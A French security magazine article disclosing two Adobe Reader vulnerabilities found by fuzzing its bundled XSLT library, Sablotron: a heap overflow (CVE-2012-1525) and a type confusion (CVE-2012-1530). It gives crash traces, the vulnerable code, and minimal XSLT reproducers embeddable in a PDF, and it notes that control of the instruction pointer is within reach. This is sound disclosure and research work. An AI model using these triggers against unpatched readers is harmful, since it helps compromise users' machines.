Adobe Reader et XSLT

Magazine
Marque
MISC
Numéro
66
Mois de parution
mars 2013
Spécialité(s)


Résumé

Adobe Reader utilise comme interpréteur XSLT une bibliothèque open source, Sablotron. L’étude en « boîte blanche » de cette bibliothèque a permis d’identifier plusieurs vulnérabilités que nous allons détailler.


Body

1. Démarche globale

Cela fait plusieurs années que j’applique une démarche relativement atypique pour identifier des vulnérabilités dans certains logiciels du marché. L’astuce consiste à tester de manière isolée un composant open source, en utilisant l’ensemble des solutions techniques applicables (calcul de la couverture de code avec GCov [GCOV], instrumentation des accès mémoire avec Address Sanitizer [ASAN], visualisation de structures complexes avec Data Display Debugger [DDD]…). Une fois une ou plusieurs vulnérabilités identifiées, il ne reste qu’à les déclencher via le logiciel ciblé, qui lui est éventuellement propriétaire.

Cette technique a permis d’identifier des vulnérabilités dans VMware ESX, Novell eDirectory, Webkit, PostgreSQL, PHP5 et Adobe Reader. Évidemment, cette technique permet entre autres de réaliser du fuzzing très ciblé, avec des performances très largement supérieures à celles pouvant être obtenues en testant le logiciel de manière globale.

2. Adobe Reader et Sablotron

Dans le cas d’Adobe Reader, il est possible d’exécuter du code XSLT soit via les formulaires XFA (« XML Forms Architecture » [XFA]), soit via JavaScript. La création de formulaires XFA+XSLT nécessitant l’utilisation d’Adobe LiveCycle ES3, l’option JavaScript a été privilégiée.

Une structure modulaire est adoptée pour le fichier PDF de test : le code JavaScript traite des documents XML (la source de données et la feuille XSLT) localisés ailleurs dans le document, ici en xfa.data.nodes.item(0). La source de données XML est le premier nœud, et la feuille XSLT le deuxième. Le résultat de la transformation est affiché via une boîte de dialogue :

var xslt = xfa.data.nodes.item(0).nodes.item(1).saveXML();

var result = xfa.data.nodes.item(0).nodes.item(0).applyXSL(xslt);

app.alert(result);

Les interpréteurs XSLT disposent tous de fonctions d’introspection. Cela permet d’identifier facilement l’interpréteur sous-jacent, simplement en appelant la fonction system-property(’xsl:vendor’). Lors de la phase d’identification de l’interpréteur XSLT sous-jacent, la feuille XSLT suivante est utilisée :

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:output method="text" media-type="text/plain"/>

 <xsl:template match="/">

  Vendor : <xsl:value-of select="system-property(’xsl:vendor’)" />

  URL : <xsl:value-of select="system-property(’xsl:vendor-url’)" />

 </xsl:template>

</xsl:stylesheet>

Le résultat, illustré par la capture d’écran suivante, est identique pour toutes les versions d’Adobe Reader.

 

fp-windows

 

Fig. 1 : Boîte de dialogue générée par Adobe Reader XI

L’URL www.gingerall.com révèle que l’interpréteur XSLT utilisé est Sablotron. Pour être plus précis, Ginger Alliance était l’hébergeur et le principal contributeur de Sablotron, à l’époque où ce projet était encore actif. De nos jours, il n’existe plus qu’une page sur [SOURCEFORGE] référençant la dernière version (1.0.3 datée de juillet 2006). Une recherche pour le mot-clé Sablotron sur le site d’Adobe révèle que les modifications apportées par Adobe à cette bibliothèque sont librement téléchargeables depuis leur site [PATCH]. Les modifications les plus récentes datent de 2004 et s’appliquent à Sablotron 1.0.1, que nous allons donc tester.

Récapitulons… Adobe Reader inclut une version modifiée d’une bibliothèque open source, Sablotron. La version sur laquelle se base Adobe est vieille d’une dizaine d’années, et les fichiers CHANGES indiquent qu’une attention spécifique a été portée aux aspects de performance et de sécurité :

Various code hygiene changes: eliminated all write accesses to constant strings; eliminated the creation of unterminated strings; eliminated all potential buffer overruns; eliminated all known potential floating-point and integer overflows; replaced some hard-coded constants for initial list sizing with e.g. LIST_SIZE_2; eliminated all newly discovered memory leaks. Most of the memory leaks resulted from error handling, e.g. usage of undeclared variables

Voilà un challenge qui s’annonce intéressant !

3. Instrumentation et fuzzing de Sablotron

Address Sanitizer est un des modules du compilateur LLVM. Il permet d’étudier de manière dynamique (pendant l’exécution d’un programme) les accès à la mémoire, afin de détecter des erreurs comme des « heap overflow » ou « double free ». Les performances d’un programme compilé avec Address Sanitizer sont deux fois moins bonnes que sans instrumentation. Cela reste extrêmement intéressant comparé à Valgrind dont l’impact est d’un facteur 20 à 30. La compilation de Sablotron 1.0.1 avec LLVM et Address Sanitizer est triviale :

LDFLAGS="-faddress-sanitizer -ldl -lm -lstdc++" CC="$HOME/asan/third_party/llvm-build/Release+Asserts/bin/clang" CFLAGS="-faddress-sanitizer -O1 -fno-omit-frame-pointer -g" CXX="$HOME/asan/third_party/llvm-build/Release+Asserts/bin/clang++" CXXFLAGS="-faddress-sanitizer -O1 -fno-omit-frame-pointer -g" ./configure

Nous disposons maintenant d’un exécutable minimaliste, instrumenté et représentatif des fonctionnalités XSLT d’Adobe Reader. Il ne reste plus qu’à appliquer un fuzzing par mutation tout à fait classique. Or, qui dit fuzzing par mutation (ou dumb fuzzing) implique l’accès à un volumineux corpus de feuilles XSLT valides et l’utilisation d’un diversificateur adapté à ce format.

Ayant par le passé eu pas mal de succès avec Radamsa [RADAMSA] (dont l’identification de failles de sécurité dans Microsoft Excel, Mozilla Firefox, Webkit, …), la question du diversificateur ne se pose pas. En ce qui concerne l’obtention de multiples feuilles XSLT valides, il suffit d’utiliser les « Test Suites » éditées par le W3C, le NIST ou OASIS. Les interfaces de suivi de bugs de plusieurs projets libres ont elles aussi été écumées, afin de collecter des feuilles XSLT connues pour avoir causé des problèmes.

Le banc de tests est donc composé des binaires Sablotron et Radamsa, d’une source de données XML relativement complexe, de 7 000 feuilles XSLT distinctes et d’un simple script Shell orchestrant le tout. Environ deux millions de tests sont réalisés chaque jour, dans une VM hébergée sur un ordinateur portable. Cela est bien supérieur à ce qu’il serait possible d’obtenir en testant directement Adobe Reader.

4. CVE-2012-1525 : débordement sur le tas

Au bout de quelques minutes, un premier plantage est détecté par ASan. Le rapport généré est le suivant :

==2288== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7f8abcc394f4 at pc 0x7f8abe931825 bp 0x7fffab43bd30 sp 0x7fffab43bd28

WRITE of size 4 at 0x7f8abcc394f4 thread T0

    #0 00000000000f8825 <utf8ToUtf16(wchar_t*, char const*)+0x135>:

    for (const char *p = src; *p; p += utf8SingleCharLength(p))

    {

        code = utf8CharCode(p);

        if (code < 0x10000UL)

        {

            *dest = (wchar_t)(code);

   f8825: 89 fa                 mov    %edi,%edx

    #1 isValidNCName(char const*)+0x52

    #2 isValidQName(char const*)+0x8e

    #3 XSLElement::execute(Situation&, Context*, int)+0x18a9

    #4 AttSet::execute(Situation&, Context*, Tree&, QNameList&, int)+0x273

    #5 AttSetList::executeAttSet(Situation&, QName&, Context*, Tree&, QNameList&, int)+0x144

    #6 Element::executeAttributeSets(Situation&, Context*, int)+0x1a6

    #7 XSLElement::execute(Situation&, Context*, int)+0x1347

    #8 VertexList::execute(Situation&, Context*, int)+0x7d

    #9 Daddy::execute(Situation&, Context*, int)+0xd

    #10 XSLElement::execute(Situation&, Context*, int)+0x1d15

    #11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149

    #12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #13 XSLElement::execute(Situation&, Context*, int)+0x2100

    #14 VertexList::execute(Situation&, Context*, int)+0x7d

    #15 Daddy::execute(Situation&, Context*, int)+0xd

    #16 RootNode::execute(Situation&, Context*, int)+0x9

    #17 Processor::run(Situation&, char const*, void*)+0x4a9

    #18 SablotRunProcessor+0x1ad

    #19 runSingleXSLT(char const**, char const**, char**)+0x2c4

    #20 main+0x4ea

    #21 __libc_start_main+0xfd

0x7f8abcc394f4 is located 0 bytes to the right of 1140-byte region [0x7f8abcc39080, 0x7f8abcc394f4) allocated by thread T0 here:

    #0 000000000040b042 <operator new[](unsigned long)+0x22>:

  40b042: 4c 8d b5 d8 fd ff ff  lea    -0x228(%rbp),%r14

    #1 isValidNCName(char const*)+0x44

    #2 isValidQName(char const*)+0x8e

    #3 XSLElement::execute(Situation&, Context*, int)+0x18a9

    #4 AttSet::execute(Situation&, Context*, Tree&, QNameList&, int)+0x273

    #5 AttSetList::executeAttSet(Situation&, QName&, Context*, Tree&, QNameList&, int)+0x144

    #6 Element::executeAttributeSets(Situation&, Context*, int)+0x1a6

    #7 XSLElement::execute(Situation&, Context*, int)+0x1347

    #8 VertexList::execute(Situation&, Context*, int)+0x7d

    #9 Daddy::execute(Situation&, Context*, int)+0xd

    #10 XSLElement::execute(Situation&, Context*, int)+0x1d15

    #11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149

    #12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #13 XSLElement::execute(Situation&, Context*, int)+0x2100

    #14 VertexList::execute(Situation&, Context*, int)+0x7d

    #15 Daddy::execute(Situation&, Context*, int)+0xd

    #16 RootNode::execute(Situation&, Context*, int)+0x9

    #17 Processor::run(Situation&, char const*, void*)+0x4a9

    #18 SablotRunProcessor+0x1ad

    #19 runSingleXSLT(char const**, char const**, char**)+0x2c4

    #20 main+0x4ea

Comme toujours avec ASan, le rapport est très riche et permet d’appréhender rapidement le bug. Ici, une structure de 1400 octets est allouée via l’opérateur new[] dans la fonction isValidNCName(). Un peu plus tard, la fonction utf8ToUtf16() tente d’écrire après cette structure, indiquant un débordement sur le tas tout à fait classique.

Voici le code de la fonction qui vérifie la validité du NCName passé en paramètre :

351 Bool isValidNCName(const char* name)

352 {

353   int len = utf8StrLength(name);

354   if (len == 0) return FALSE;

355

356   wchar_t *buff = new wchar_t[len + 1];

357

358   utf8ToUtf16(buff, name);

La structure buff est créée ligne 356 avec une taille issue de la fonction utf8StrLength(). Le code de cette fonction est le suivant :

62 int utf8StrLength (const char* text)

63 {

64     int len;

65     for (len = 0; *text; len++)

66     {

67         if (!(*text & 0x80))

68                 text++;

69                 else text += utf8SingleCharLength(text);

70     }

71     return len;

72 }

Il apparaît que la variable len n’est mise à jour que par len++ dans l’instruction for. Donc, le résultat de utf8SingleCharLength() n’affectera pas sa valeur. Cette fonction retournera donc 5 pour la chaîne AB, au lieu de 8 (4 caractères de 1 octet + 1 caractère de 4 octets). La variable buff sera donc trop petite pour stocker le résultat de la conversion, d’où le crash ligne 169 (dans le cas présent) de la fonction utf8ToUtf16() détaillée ci-dessous :

159 int utf8ToUtf16(wchar_t *dest, const char *src)

160 {

161     unsigned long code;

162     int len = 0,

163         thislen;

164     for (const char *p = src; *p; p += utf8SingleCharLength(p))

165     {

166         code = utf8CharCode(p);

167         if (code < 0x10000UL)

168         {

169             *dest = (wchar_t)(code);

170             thislen = 1;

171         }

172         else

173         {

174             dest[0] = 0xd7c0U + (code >> 10);

175             dest[1] = 0xdc00U | code & 0x3ff;

176             thislen = 2;

177         };

178         dest += thislen;

179         len += thislen;

180     }

181     *dest = 0;

182     return len;

183 }

Une feuille XSLT minimaliste permettant de reproduire le bug serait de la forme suivante :

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

 <xsl:template match="/">

   <xsl:attribute name="AB"/>

 </xsl:template>

</xsl:stylesheet>

Une fois notre fichier PDF de test modifié pour inclure cette feuille XSLT, il suffit de l’ouvrir dans Adobe Reader pour déclencher le bug. Voilà ce que cela donne avec Reader 9.5.1 sous Linux :

*** glibc detected *** /usr/bin/acroread: free(): corrupted unsorted chunks: 0x0c5bbb80 ***

======= Backtrace: =========

/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb5abcee2]

/usr/lib/i386-linux-gnu/libstdc++.so.6(_ZdlPv+0x1f)[0xb5a0b51f]

/usr/lib/i386-linux-gnu/libstdc++.so.6(_ZdaPv+0x1b)[0xb5a0b57b]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x52292)[0xb2902292]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x523f2)[0xb29023f2]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x855c9)[0xb29355c9]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa23bc)[0xb29523bc]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa8dad)[0xb2958dad]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xabac8)[0xb295bac8]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xacced)[0xb295cced]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xaec9d)[0xb295ec9d]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xaf425)[0xb295f425]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa72f8)[0xb29572f8]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xad05a)[0xb295d05a]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa4495)[0xb2954495]

En termes d’exploitation, les contraintes sont peu nombreuses : l’attaquant peut allouer une variable de la taille qu’il souhaite, puis y copier des données dont il maîtrise la longueur et le contenu ;-)

5. CVE-2012-1530 : confusion de type

Un deuxième plantage est détecté quelques jours plus tard. Le rapport est cette fois-ci moins précis, cette famille de vulnérabilités (confusion de type) n’étant pas de celles détectées nativement par ASan :

==13350== ERROR: AddressSanitizer crashed on unknown address 0x74757074756f (pc 0x7fb537c12ae7 sp 0x7fff48b894e0 bp 0x7fff48b89510 T0)

    #0 0000000000102ae7 <AttList::findNdx(QName const&)+0x97>:

 // need to use a temporary variable

 // to get around Solaris template problem

        Vertex * pTemp = (*this)[i];

        a = toA(pTemp);

        if (attName == a -> getName())

  102ae7: 48 8b 07              mov    (%rdi),%rax

    #1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c16

    #2 Expression::eval(Situation&, Expression&, Context*, int)+0xe5f

    #3 Expression::trueFor(Situation&, Context*, int&)+0xb1

    #4 Expression::createLPContextLevel(Situation&, int, int, void*, Context&, Context*)+0x6fa

    #5 Expression::createLPContext(Situation&, Context*&, int, void*)+0x1a1

    #6 Expression::createContext(Situation&, Context*&, int)+0x7a1

    #7 XSLElement::execute(Situation&, Context*, int)+0x872

    #8 VertexList::execute(Situation&, Context*, int)+0x7d

    #9 Daddy::execute(Situation&, Context*, int)+0xd

    #10 XSLElement::execute(Situation&, Context*, int)+0x1d15

    #11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149

    #12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #13 Processor::builtinRule(Situation&, Context*, int)+0x1d8

    #14 Processor::execApplyTemplates(Situation&, Context*, int)+0x10e

    #15 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #16 XSLElement::execute(Situation&, Context*, int)+0x2100

    #17 VertexList::execute(Situation&, Context*, int)+0x7d

    #18 Daddy::execute(Situation&, Context*, int)+0xd

    #19 RootNode::execute(Situation&, Context*, int)+0x9

    #20 Processor::run(Situation&, char const*, void*)+0x4a9

    #21 SablotRunProcessor+0x1ad

    #22 runSingleXSLT(char const**, char const**, char**)+0x2c4

    #23 main+0x4ea

    #24 __libc_start_main+0xfd

Le programme plante en essayant d’accéder l’adresse 0x74757074756f lors de l’appel à la méthode getName de la structure « a » de type « Attribute ». Or cette valeur ressemble étrangement à une chaîne ASCII. Après décodage, cette valeur correspond à la chaîne output qui est bel et bien présente dans la source de données XML. Après réduction manuelle de la feuille XSLT et des données XML, nous arrivons à quelque chose d’intéressant.

La feuille XSLT :

  1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  2 <xsl:template match="node()">

  3     <xsl:apply-templates select="node()[lang(’foo’)]"/>

  4 </xsl:template>

  5 </xsl:stylesheet>

La source de données XML :

  1 <a>

  2   <abcd/>

  3 </a>

Le crash :

==30232== ERROR: AddressSanitizer crashed on unknown address 0x000064636261 (pc 0x7f9276fe7f57 sp 0x7fff138122e0 bp 0x7fff13812310 T0)

    #0 0000000000102f57 <AttList::findNdx(QName const&)+0x77>:

    {

 // need to use a temporary variable

 // to get around Solaris template problem

        Vertex * pTemp = (*this)[i];

        a = toA(pTemp);

        if (attName == a -> getName())

  102f57: 48 8b 07              mov    (%rdi),%rax

    #1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c52

    #2 Expression::eval(Situation&, Expression&, Context*, int)+0xe5f

    #3 Expression::trueFor(Situation&, Context*, int&)+0xb1

    #4 …

Il reste une question à laquelle répondre : comment les données injectées par l’attaquant sont-elles utilisées par la suite par le programme ? Regardons avec GDB :

Program received signal SIGSEGV, Segmentation fault.

AttList::findNdx (this=0x6c6ef8, attName=...) at verts.cpp:1282

1282         if (attName == a -> getName())

(gdb) x/3i $rip

=> 0x415d24 <_ZN7AttList7findNdxERK5QName+96>: mov (%rdi),%rax

   0x415d27 <_ZN7AttList7findNdxERK5QName+99>: callq *0x40(%rax)

   0x415d2a <_ZN7AttList7findNdxERK5QName+102>: mov    %rax,%rsi

(gdb) p/x $rdi

$2 = 0x64636261

Récapitulons : suite à des conversions de type explicites causées par les appels à la fonction XPath node(), une chaîne de texte extraite de la source de données XML est utilisée comme adresse mémoire. Cette adresse mémoire est considérée par l’application comme une structure de type « Attribute ». Cette structure contient à l’offset 0x40 un pointeur vers la fonction getName qui est exécutée directement après. Voici une situation parfaite pour l’attaquant !

Vérifions tout de même si le fonctionnement est similaire sous Adobe Reader (ici la version 10.1.4 sous Windows) :

 

adobeX

 

Fig. 2 : Crash survenant juste avant l’appel à la fonction située en [EAX+1C]

Impeccable ! Mis à part de légères différences liées au changement de système d’exploitation, de plate-forme matérielle et de compilateur, on retrouve bien le comportement identifié dans la version « ligne de commandes ». Maîtriser le pointeur d’exécution est maintenant trivial, et l’exploitation complète est laissée en exercice au lecteur. Il est à noter que les versions X et XI d’Adobe Reader incluent un « bac à sable », dont il faudra ensuite sortir… ou pas.

Conclusion

Voilà comment l’étude d’une obscure bibliothèque permet d’identifier facilement plusieurs vulnérabilités affectant toutes les versions d’Adobe Reader. La même méthodologie est applicable aux autres bibliothèques utilisées par Adobe Reader, et bien sûr à tous les programmes propriétaires incluant des composants open source. Bonne chasse !

Liens

[GCOV] http://en.wikipedia.org/wiki/Gcov

[ASAN] http://code.google.com/p/address-sanitizer/

[DDD] http://www.gnu.org/software/ddd/

[XFA] http://partners.adobe.com/public/developer/xml/index_arch.html

[SOURCEFORGE] http://sourceforge.net/projects/sablotron/

[PATCH] http://partners.adobe.com/public/developer/opensource/index.html

[RADAMSA] http://code.google.com/p/ouspg/wiki/Radamsa

 



Article rédigé par

Par le(s) même(s) auteur(s)

Les derniers articles Premiums

Les derniers articles Premium

La place de l’Intelligence Artificielle dans les entreprises

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

L’intelligence artificielle est en train de redéfinir le paysage professionnel. De l’automatisation des tâches répétitives à la cybersécurité, en passant par l’analyse des données, l’IA s’immisce dans tous les aspects de l’entreprise moderne. Toutefois, cette révolution technologique soulève des questions éthiques et sociétales, notamment sur l’avenir des emplois. Cet article se penche sur l’évolution de l’IA, ses applications variées, et les enjeux qu’elle engendre dans le monde du travail.

Petit guide d’outils open source pour le télétravail

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Ah le Covid ! Si en cette période de nombreux cas resurgissent, ce n’est rien comparé aux vagues que nous avons connues en 2020 et 2021. Ce fléau a contraint une large partie de la population à faire ce que tout le monde connaît sous le nom de télétravail. Nous avons dû changer nos habitudes et avons dû apprendre à utiliser de nombreux outils collaboratifs, de visioconférence, etc., dont tout le monde n’était pas habitué. Dans cet article, nous passons en revue quelques outils open source utiles pour le travail à la maison. En effet, pour les adeptes du costume en haut et du pyjama en bas, la communauté open source s’est démenée pour proposer des alternatives aux outils propriétaires et payants.

Sécurisez vos applications web : comment Symfony vous protège des menaces courantes

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Les frameworks tels que Symfony ont bouleversé le développement web en apportant une structure solide et des outils performants. Malgré ces qualités, nous pouvons découvrir d’innombrables vulnérabilités. Cet article met le doigt sur les failles de sécurité les plus fréquentes qui affectent même les environnements les plus robustes. De l’injection de requêtes à distance à l’exécution de scripts malveillants, découvrez comment ces failles peuvent mettre en péril vos applications et, surtout, comment vous en prémunir.

Bash des temps modernes

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Les scripts Shell, et Bash spécifiquement, demeurent un standard, de facto, de notre industrie. Ils forment un composant primordial de toute distribution Linux, mais c’est aussi un outil de prédilection pour implémenter de nombreuses tâches d’automatisation, en particulier dans le « Cloud », par eux-mêmes ou conjointement à des solutions telles que Ansible. Pour toutes ces raisons et bien d’autres encore, savoir les concevoir de manière robuste et idempotente est crucial.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 67 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous